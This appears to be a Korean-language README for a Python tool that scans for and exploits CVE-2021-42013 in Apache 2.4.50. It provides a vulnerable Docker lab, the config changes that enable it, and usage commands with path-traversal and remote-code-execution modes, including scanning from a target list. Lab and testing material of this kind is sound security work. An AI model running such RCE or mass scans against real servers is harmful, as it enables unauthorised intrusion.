mightysai1997/cve-2021-42013.getApache 2.4.50 (CVE-2021-42013) 취약점을 스캔하는 Python 기반 익스플로잇 스캐너로, 경로 순회 및 원격 코드 실행을 탐지하며 대량 스캔 및 Docker 랩 환경을 지원합니다.
cve-2021-42013.py는 Apache 2.4.50에서 경로 탐색 또는 원격 코드 실행 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-42013에 대한 실습을 위해 취약한 Docker 인스턴스가 제공됩니다.
CGI-BIN이 활성화된 경우, 원격 코드 실행은 가능하지만 경로 탐색은 불가능합니다. 따라서 httpd.conf의 Alias 섹션에 "icons" 디렉토리를 추가하여 경로 탐색 취약점을 확인할 수 있도록 했습니다.
1. Enable CGI-BIN
2. Add "icons" directory in Alias section
3. <Directory>Require all granted</Directory>
$ docker build -t cve-2021-42013 .
$ docker run -it cve-2021-42013
$ python3 cve-2021-42013.py -u http://172.17.0.2
$ python3 cve-2021-42013.py -u http://172.17.0.2 -pt
$ python3 cve-2021-42013.py -u http://172.17.0.2 -rce
$ python3 cve-2021-42013.py -l list.txt
$ python3 cve-2021-42013.py -l list.txt -pt
$ python3 cve-2021-42013.py -l list.txt -rce